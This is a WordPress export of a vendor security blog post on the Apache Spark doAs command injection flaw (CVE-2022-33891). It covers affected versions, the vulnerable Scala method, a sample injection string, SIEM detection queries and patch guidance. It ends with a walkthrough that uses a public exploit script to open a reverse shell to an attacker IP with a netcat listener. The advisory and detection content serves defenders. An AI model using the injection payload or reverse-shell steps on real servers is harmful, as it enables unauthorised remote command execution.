{"id":65428,"date":"2023-03-28T11:24:31","date_gmt":"2023-03-28T03:24:31","guid":{"rendered":"https:\/\/version-2.com.sg\/?p=65428"},"modified":"2024-09-13T16:31:23","modified_gmt":"2024-09-13T08:31:23","slug":"apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891","status":"publish","type":"post","link":"https:\/\/version-2.com\/zh\/2023\/03\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891\/","title":{"rendered":"Apache Zero Days &#8211; Apache Spark Command Injection Vulnerability (CVE-2022-33891)"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"65428\" class=\"elementor elementor-65428\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-4da8c5f9 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"4da8c5f9\" data-element_type=\"section\" data-e-type=\"section\" data-settings=\"{&quot;jet_parallax_layout_list&quot;:[{&quot;jet_parallax_layout_image&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;_id&quot;:&quot;decf9c3&quot;,&quot;jet_parallax_layout_image_tablet&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_image_mobile&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_speed&quot;:{&quot;unit&quot;:&quot;%&quot;,&quot;size&quot;:50,&quot;sizes&quot;:[]},&quot;jet_parallax_layout_type&quot;:&quot;scroll&quot;,&quot;jet_parallax_layout_direction&quot;:&quot;1&quot;,&quot;jet_parallax_layout_fx_direction&quot;:null,&quot;jet_parallax_layout_z_index&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x&quot;:50,&quot;jet_parallax_layout_bg_x_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y&quot;:50,&quot;jet_parallax_layout_bg_y_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size&quot;:&quot;auto&quot;,&quot;jet_parallax_layout_bg_size_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_animation_prop&quot;:&quot;transform&quot;,&quot;jet_parallax_layout_on&quot;:[&quot;desktop&quot;,&quot;tablet&quot;]}]}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-133ba185\" data-id=\"133ba185\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-fc2da8d post-content elementor-widget elementor-widget-text-editor\" data-id=\"fc2da8d\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clfj3jbjmewhu0kqjeks43wmd.png?tr=w-1800,c-at_max\" width=\"560\" height=\"280\" \/><\/p><div class=\"news-detail-inner-content\" data-v-85c4bf60=\"\" data-v-0bbc59dc=\"\"><h2><strong>Component Name:<\/strong><\/h2><p>Apache Spark<\/p><h2><strong>Affected Versions:<\/strong><\/h2><p>Apache Spark \u22643.0.3<\/p><p>3.1.1\u2264 Apache Spark \u22643.1.2<\/p><p>3.2.0\u2264 Apache Spark \u22643.2.1<\/p><h2><strong>Vulnerability Type:<\/strong><\/h2><p>Command Injection<\/p><h2><strong>CVSSv3:<\/strong><\/h2><p>Base Score: \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a08.8 (High)<\/p><p>Attack Vector: \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Network<\/p><p>Attack Complexity: \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Low<\/p><p>Privileges Required: \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0None<\/p><p>User Interaction: \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0None<\/p><p>Confidentiality Impact: \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0High<\/p><p>Integrity Impact: \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0High<\/p><p>Availability Impact: \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0High<\/p><h2><strong>Remediation Solutions:<\/strong><\/h2><h4><strong>Check the Component Version:<\/strong><\/h4><p>Run <strong>spark-shell<\/strong> command. The version information will be displayed.<\/p><p><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clfj3t0owewvn0kqj3hu9frbh.png\" \/><\/p><p>\u00a0<\/p><h4><strong>Apache Solution<\/strong><\/h4><p>Users can update their affected products to the latest version to fix the vulnerability:<\/p><p><a href=\"https:\/\/spark.apache.org\/downloads.html\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">https:\/\/spark.apache.org\/downloads.html<\/a><\/p><h2><strong>How does it work?<\/strong><\/h2><p>The command injection occurs because Spark checks the group membership of the user passed in the<strong><em> ?doAs<\/em><\/strong> parameter by using a raw Linux command.<\/p><p>User commands are processed through <strong><em>?doAs<\/em><\/strong> parameter and nothing reflected back on the page during command execution, so this is blind OS injection. Your commands run, but there will be no indication if they worked or not or even if the program you\u2019re running is on target.<\/p><p>OS commands that are passed on the URL parameters<strong><em>?doAs<\/em><\/strong> will trigger the background Linux bash process which calls <strong><em>cmdseq<\/em><\/strong> will run the process with the command line <strong><em>id -Gn<\/em><\/strong> .Running of bash with <strong><em>id -Gn is a<\/em><\/strong> good sign of indicator that your server is vulnerable or it is already compromised.<\/p><p>If an attacker is sending reverse shell commands. There is also a high chance of granting apache spark server access to the attackers\u2019 machine.<\/p><pre><code>private def getUnixGroups(username: String): Set[String] = {\nval cmdSeq = Seq(\"bash\", \"-c\", \"id -Gn \" + username)\n\/\/ we need to get rid of the trailing \"\\n\" from the result of command execution\nUtils.executeAndGetOutput(cmdSeq).stripLineEnd.split(\" \").toSet\nUtils.executeAndGetOutput(idPath :: \"-Gn\" :: username :: Nil).stripLineEnd.split(\" \").toSet\n}}<\/code><\/pre><p>Vulnerable source code: <a href=\"https:\/\/github.com\/apache\/spark\/pull\/36315\/files#diff-96652ee6dcef30babdeff0aed66ced6839364ea4b22b7b5fdbedc82eb655eeb5L41\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">https:\/\/github.com\/apache\/spark\/pull\/36315\/files#diff-96652ee6dcef30babdeff0aed66ced6839364ea4b22b7b5fdbedc82eb655eeb5L41<\/a><\/p><p><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clfj6mhh2eyx90kqj0ahd7vih.png\" \/><\/p><p>\u00a0<\/p><p>The command injection occurs because Spark checks the group membership of the user passed in the <strong>?doAs<\/strong> parameter by using a raw Linux command.<\/p><h2>Vulnerable component<\/h2><p><code>http:\/\/&lt;IP_address&gt;\/?doAs=`[command injection here]`<\/code><\/p><p>User commands are processed through <strong>?doAs<\/strong> parameter and nothing reflected back on the page during command execution, so this is blind OS injection. Your commands run, but there will be no indication if they worked or not or even if the program you\u2019re running is on target.<\/p><h2>Vulnerable Method:<\/h2><pre><code>private def getUnixGroups(username: String): Set[String] = {\n    val cmdSeq = Seq(\"bash\", \"-c\", \"id -Gn \" + username)\n    \/\/ we need to get rid of the trailing \"\\n\" from the result of command execution\n    Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(\" \").toSet\n    Utils.executeAndGetOutput(idPath ::  \"-Gn\" :: username :: Nil).stripLineEnd.split(\" \").toSet\n  }\n}<\/code><\/pre><p>This is a method definition in Scala for a private method named <strong>getUnixGroups<\/strong>. This method takes a single <strong>String<\/strong> argument called <strong>username<\/strong> and returns a <strong>Set<\/strong> of <strong>Strings<\/strong> that represent the groups that the user belongs to on a <strong>Unix-like system.<\/strong><\/p><p>\u00a0<\/p><p>The method first constructs a <strong>Seq<\/strong> of <strong>Strings<\/strong> that represents a shell command to retrieve the user&#8217;s group information using the <strong>id<\/strong> command. The <strong>cmdSeq<\/strong> variable is set to this sequence, with the <strong>username<\/strong> parameter concatenated to the end of the command using string concatenation.<\/p><p>\u00a0<\/p><p>Next, the <strong>executeAndGetOutput<\/strong> method of the <strong>Utils<\/strong> object is called with cmdSeq as its argument. This method executes the shell command represented by the <strong>cmdSeq<\/strong> sequence and returns the output of the command as a string.<\/p><p>\u00a0<\/p><p>The output of the <strong>executeAndGetOutput<\/strong> method is then processed to remove the trailing newline character using the <strong>stripLineEnd<\/strong> method. The resulting string is then split into an array of strings using the <strong>split<\/strong> <strong>method<\/strong> and converted into a <strong>Set<\/strong> using the <strong>toSet<\/strong> method. This <strong>Set<\/strong> of strings represents the user&#8217;s group membership.<\/p><p>\u00a0<\/p><p><code>\u00a0\u00a0\u00a0 val cmdSeq = Seq(\"bash\", \"-c\", \"id -Gn \" + username)<\/code><\/p><p>\u00a0<\/p><p>The <strong>getUnixGroups<\/strong> method constructs <strong>a shell command<\/strong> by concatenating the <strong>username<\/strong> parameter with the <strong>id<\/strong> command. <strong>The username parameter is not properly sanitized or validated<\/strong>, which means that an attacker could potentially inject malicious code into it and execute arbitrary commands on the underlying operating system.<\/p><p>\u00a0<\/p><p>For example, if an attacker were to supply a username parameter <strong>of &#8220;; echo hacked &gt; \/tmp\/hacked&#8221;<\/strong>, the resulting shell command would be <strong>&#8220;id -Gn ; echo hacked &gt; \/tmp\/hacked&#8221;.<\/strong> When this command is executed by the <strong>executeAndGetOutput<\/strong> method, it would execute the id command and then execute the echo command, which writes the string <strong>&#8220;hacked&#8221;<\/strong> to the <strong>file \/tmp\/hacked.<\/strong> This would give the attacker arbitrary code execution on the underlying operating system.<\/p><p>In current scenario we can see that OS commands that are passed on the URL parameters ?doAs will trigger the background Linux bash process which calls <strong>cmdseq<\/strong> will run the process with the command line id -Gn. Running of bash with <strong>id -Gn<\/strong> is a good sign of indicator that your server is vulnerable or it is already compromised.<\/p><p>If an attacker is sending reverse shell commands. There is also a high chance of granting Apache spark server access to the attackers\u2019 machine.<\/p><h2><strong>Detection &amp; Response:<\/strong><\/h2><p>This can allow the attacker to reach a permission check function that builds a Unix shell command based on their input, which is then executed by the system. This can result in arbitrary shell command execution with the privileges of the Spark process, potentially leading to complete compromise of the affected system.<\/p><p>The Apache Spark command injection vulnerability (CVE-2022-33891) is a serious security issue that can allow an attacker to execute arbitrary code with the privileges of the Spark process, potentially leading to complete compromise of the affected system. It is important for organizations using Apache Spark to be aware of this vulnerability and take steps to detect and respond to it.<\/p><p>One way to detect the vulnerability is to monitor for suspicious activity on the affected system. This can include monitoring for unexpected system or network behavior, such as unusual network traffic or system resource usage. It can also include monitoring for malicious activity, such as attempts to execute unauthorized code or access restricted resources.<\/p><p>Another way to detect the vulnerability is to use security tools and technologies, such as intrusion detection systems (IDS) and vulnerability scanners, to identify potential vulnerabilities and security issues on the system. These tools can help to identify and alert on potential security threats, allowing organizations to take appropriate action to mitigate the risk.<\/p><p>Once the vulnerability has been detected, it is important to take swift action to respond to the issue. This may include isolating the affected system to prevent further compromise, implementing temporary fixes or workarounds, and deploying a patch or update to address the issue. It is also important to conduct a thorough investigation to determine the root cause of the vulnerability and implement measures to prevent similar issues from occurring in the future.<\/p><p><strong>Splunk:<\/strong><\/p><pre><code>index=* c-uri=\"*?doAs=`*\"\nindex=* (Image=\"*\\\\bash\" AND (CommandLine=\"*id -Gn*\"))<\/code><\/pre><p><strong>Qradar:<\/strong><\/p><pre><code>SELECT UTF8(payload) from events where LOGSOURCENAME(logsourceid) ilike '%Linux%' and \"Image\" ilike '%\\bash' and (\"Process CommandLine\" ilike '%id -Gn%')\n\nSELECT UTF8(payload) from events where \"URL\" ilike '%?doAs=`%'<\/code><\/pre><p><strong>Elastic Query:<\/strong><\/p><pre><code>url.original:*?doAs\\=`*\n(process.executable:*\\\\bash AND process.command_line:*id\\ \\-Gn*)<\/code><\/pre><p><strong>Carbon Black:<\/strong><\/p><pre><code>(process_name:*\\\\bash AND process_cmdline:*id\\ \\-Gn*)<\/code><\/pre><p><strong>FireEye:<\/strong><\/p><pre><code>(process:`*\\bash` args:`id -Gn`)<\/code><\/pre><p><strong>GrayLog:<\/strong><\/p><pre><code>(Image.keyword:*\\\\bash AND CommandLine.keyword:*id\\ \\-Gn*)\nc-uri.keyword:*?doAs=`*<\/code><\/pre><p><strong>RSA Netwitness:<\/strong><\/p><pre><code>(web.page contains '?doAs=`')\n((Image contains 'bash') &amp;&amp; (CommandLine contains 'id -Gn'))<\/code><\/pre><p><strong>Logpoint:<\/strong><\/p><pre><code>(Image=\"*\\\\bash\" CommandLine IN \"*id -Gn*\")\nc-uri=\"*?doAs=`*\"<\/code><\/pre><p>\u00a0<\/p><h2><strong>Technical Detail:<\/strong><\/h2><ol><li><p>First you need to clone exploit python script from github repository into your local machine using below command.<\/p><\/li><\/ol><pre><code>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ```\ngit clone https:\/\/github.com\/devengpk\/Apache-zero-days.git\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ```<\/code><\/pre><ol start=\"2\"><li><p>Apache Spark server is ready to test if this self hosted server is vulnerable or not<\/p><p><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clfj76cdm2yp80jk8cx0v6qme.png\" \/><\/p><\/li><li><p>Now, let\u2019s check if this target is vulnerable or not using below mentioned command<\/p><\/li><\/ol><pre><code>```\npython3 exploit.py -u http:\/\/&lt;server-ip&gt; -p 8080 --check --verbose\n```<\/code><\/pre><p><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clfj77ibxezdl0kqj0x2b1f4c.png\" \/><\/p><ol start=\"4\"><li><p>From the above commands result, we found that the searched target is vulnerable.<\/p><\/li><\/ol><p>Now let\u2019s use our exploit to get the reverse shell by using the below command.<\/p><pre><code>```\npython3 exploit.py -u http:\/\/&lt;Server-IP&gt; -p 8080 --revshell -lh &lt;Attacker-IP&gt; -lp 9001 --verbose\n```<\/code><\/pre><p><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clfj78kea2yr60jk81td54ahh.png\" \/><\/p><ol start=\"5\"><li><p>Before starting the reverse shell, let\u2019s start <strong><em>netcat <\/em><\/strong>listener to capture traffic for reverse shell using below mentioned command.<\/p><\/li><\/ol><pre><code>```\nnc -nvlp 9001\n```<\/code><\/pre><p><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clfj79c6fezf20kqja8nrbdn1.png\" \/><\/p><ol start=\"6\"><li><p>After executing netcat command, execute the above mentioned reverse shell command and you will successfully got reverse shell and can execute all your desired commands on the target server.<\/p><p><img decoding=\"async\" src=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clfj7a89dezfy0kqjf4krebz8.png\" \/><\/p><\/li><\/ol><h2><strong>Reference:<\/strong><\/h2><h5>\u25cf\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Exploitation payload: <a href=\"https:\/\/github.com\/devengpk\/Apache-zero-days\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">https:\/\/github.com\/devengpk\/Apache-zero-days<\/a><\/h5><h5>\u25cf\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Vulnerable source code: <a href=\"https:\/\/github.com\/apache\/spark\/pull\/36315\/files#diff-96652ee6dcef30babdeff0aed66ced6839364ea4b22b7b5fdbedc82eb655eeb5L41\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">https:\/\/github.com\/apache\/spark\/pull\/36315\/files#diff-96652ee6dcef30babdeff0aed66ced6839364ea4b22b7b5fdbedc82eb655eeb5L41<\/a><br \/><br \/><br \/>#<strong>Apache #Apache_Spark #CVE-2022-33891<\/strong><\/h5><\/div>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-8085a61 post-content elementor-widget elementor-widget-shortcode\" data-id=\"8085a61\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<div class=\"elementor-shortcode\">\t\t<div data-elementor-type=\"page\" data-elementor-id=\"18103\" class=\"elementor elementor-18103\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-748947f elementor-section-full_width elementor-section-height-default elementor-section-height-default\" data-id=\"748947f\" data-element_type=\"section\" data-e-type=\"section\" data-settings=\"{&quot;jet_parallax_layout_list&quot;:[{&quot;jet_parallax_layout_image&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;_id&quot;:&quot;c4f773e&quot;,&quot;jet_parallax_layout_image_tablet&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_image_mobile&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_speed&quot;:{&quot;unit&quot;:&quot;%&quot;,&quot;size&quot;:50,&quot;sizes&quot;:[]},&quot;jet_parallax_layout_type&quot;:&quot;scroll&quot;,&quot;jet_parallax_layout_direction&quot;:&quot;1&quot;,&quot;jet_parallax_layout_fx_direction&quot;:null,&quot;jet_parallax_layout_z_index&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x&quot;:50,&quot;jet_parallax_layout_bg_x_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y&quot;:50,&quot;jet_parallax_layout_bg_y_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size&quot;:&quot;auto&quot;,&quot;jet_parallax_layout_bg_size_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_animation_prop&quot;:&quot;transform&quot;,&quot;jet_parallax_layout_on&quot;:[&quot;desktop&quot;,&quot;tablet&quot;]}]}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-7995c19\" data-id=\"7995c19\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-a437045 elementor-widget elementor-widget-image-box\" data-id=\"a437045\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"image-box.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-image-box-wrapper\"><div class=\"elementor-image-box-content\"><h3 class=\"elementor-image-box-title\">About Version 2 Digital<\/h3><p class=\"elementor-image-box-description\">Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.\n<br><br>\nThrough an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.<\/p><\/div><\/div>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t\n\t\t<div data-elementor-type=\"page\" data-elementor-id=\"39690\" class=\"elementor elementor-39690\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-748947f elementor-section-full_width elementor-section-height-default elementor-section-height-default\" data-id=\"748947f\" data-element_type=\"section\" data-e-type=\"section\" data-settings=\"{&quot;jet_parallax_layout_list&quot;:[{&quot;jet_parallax_layout_image&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;_id&quot;:&quot;c4f773e&quot;,&quot;jet_parallax_layout_image_tablet&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_image_mobile&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_speed&quot;:{&quot;unit&quot;:&quot;%&quot;,&quot;size&quot;:50,&quot;sizes&quot;:[]},&quot;jet_parallax_layout_type&quot;:&quot;scroll&quot;,&quot;jet_parallax_layout_direction&quot;:&quot;1&quot;,&quot;jet_parallax_layout_fx_direction&quot;:null,&quot;jet_parallax_layout_z_index&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x&quot;:50,&quot;jet_parallax_layout_bg_x_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y&quot;:50,&quot;jet_parallax_layout_bg_y_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size&quot;:&quot;auto&quot;,&quot;jet_parallax_layout_bg_size_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_animation_prop&quot;:&quot;transform&quot;,&quot;jet_parallax_layout_on&quot;:[&quot;desktop&quot;,&quot;tablet&quot;]}]}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-7995c19\" data-id=\"7995c19\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-ff2a228 elementor-widget elementor-widget-text-editor\" data-id=\"ff2a228\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t<p><\/p>\n<p><b>About VRX<\/b><br><b>VRX&nbsp;<\/b>is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>Component Name: Apache Spark Affected Versions: Apache  [&hellip;]<\/p>\n","protected":false},"author":148637484,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[476,1075,61],"tags":[477,1076],"class_list":["post-65428","post","type-post","status-publish","format-standard","hentry","category-vrx","category-year2023","category-press-release","tag-vrx","tag-1076"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Apache Zero Days - Apache Spark Command Injection Vulnerability (CVE-2022-33891) - Version 2<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.vicarius.io\/blog\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891\" \/>\n<meta property=\"og:locale\" content=\"zh_HK\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Apache Zero Days - Apache Spark Command Injection Vulnerability (CVE-2022-33891) - Version 2\" \/>\n<meta property=\"og:description\" content=\"Component Name: Apache Spark Affected Versions: Apache [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.vicarius.io\/blog\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891\" \/>\n<meta property=\"og:site_name\" content=\"Version 2\" \/>\n<meta property=\"article:published_time\" content=\"2023-03-28T03:24:31+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-09-13T08:31:23+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clfj3jbjmewhu0kqjeks43wmd.png?tr=w-1800,c-at_max\" \/>\n<meta name=\"author\" content=\"versionpan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"versionpan\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/2023\\\/03\\\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891\\\/\"},\"author\":{\"name\":\"versionpan\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#\\\/schema\\\/person\\\/103ffe36f7fd34a1cc126a30431b94d8\"},\"headline\":\"Apache Zero Days &#8211; Apache Spark Command Injection Vulnerability (CVE-2022-33891)\",\"datePublished\":\"2023-03-28T03:24:31+00:00\",\"dateModified\":\"2024-09-13T08:31:23+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/2023\\\/03\\\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891\\\/\"},\"wordCount\":1198,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/apache-zero-days-apache-spark-command-injection-vulnerability-cve-2022-33891#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/ik.imagekit.io\\\/14sfaswy6hrz\\\/blog-posts\\\/images\\\/clfj3jbjmewhu0kqjeks43wmd.png?tr=w-1800,c-at_max\",\"keywords\":[\"vRx\",\"2023\"],\"articleSection\":[\"vRx\",\"2023\",\"Press 